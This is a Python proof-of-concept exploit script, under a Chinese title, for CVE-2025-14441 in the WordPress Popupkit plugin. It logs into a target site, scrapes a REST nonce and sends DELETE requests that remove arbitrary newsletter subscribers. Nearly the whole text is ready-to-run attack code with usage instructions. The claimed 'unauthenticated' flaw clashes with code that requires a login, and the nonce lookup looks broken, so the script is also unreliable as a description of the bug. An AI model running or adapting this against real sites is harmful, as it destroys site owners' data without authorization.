CVE-2025-14441 WordPress Popupkit插件未授权删除订阅者漏洞

#!/usr/bin/env python3 """ CVE-2025-14441 PoC - WordPress Popupkit Unauthenticated Subscriber Deletion This PoC demonstrates the broken authorization vulnerability in Popupkit plugin where DELETE /subscribers REST API endpoint lacks proper capability checks. """ import requests import sys from urllib.parse import urljoin def delete_subscriber(target_url, subscriber_id, username, password): """ Delete arbitrary subscriber via vulnerable REST API endpoint Args: target_url: Base URL of the WordPress site subscriber_id: ID of the subscriber to delete username: WordPress username (subscriber role or higher) password: WordPress password """ # WordPress REST API endpoint for subscribers api_endpoint = f'/wp-json/popupkit/v1/subscribers/{subscriber_id}' url = urljoin(target_url.rstrip('/'), api_endpoint) # Create session and authenticate session = requests.Session() # Get authentication nonce via login login_url = urljoin(target_url, '/wp-login.php') auth_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } # Attempt to login login_response = session.post(login_url, data=auth_data, cookies=session.cookies) # Get REST nonce from wp-admin nonce_url = urljoin(target_url, '/wp-admin/admin-ajax.php') nonce_response = session.get(nonce_url) # Extract wp_rest nonce from page source import re nonce_match = re.search(r'wpApiSettings\s*=\s*\{[^}]*nonce\s*:\s*["\']([^"\']+)["\']', nonce_response.text) if not nonce_match: print("[-] Failed to obtain REST nonce") return False nonce = nonce_match.group(1) print(f"[+] Obtained REST nonce: {nonce}") # Send DELETE request to vulnerable endpoint headers = { 'X-WP-Nonce': nonce, 'Content-Type': 'application/json' } print(f"[*] Sending DELETE request to {url}") delete_response = session.delete(url, headers=headers) if delete_response.status_code == 200 or delete_response.status_code == 204: print(f"[+] Successfully deleted subscriber ID: {subscriber_id}") return True else: print(f"[-] Failed to delete subscriber. Status: {delete_response.status_code}") print(f"[-] Response: {delete_response.text}") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: {sys.argv[0]} <target_url> <subscriber_id> <username> <password>") print(f"Example: {sys.argv[0]} http://example.com 123 admin password") sys.exit(1) target = sys.argv[1] sub_id = sys.argv[2] user = sys.argv[3] pwd = sys.argv[4] delete_subscriber(target, sub_id, user, pwd)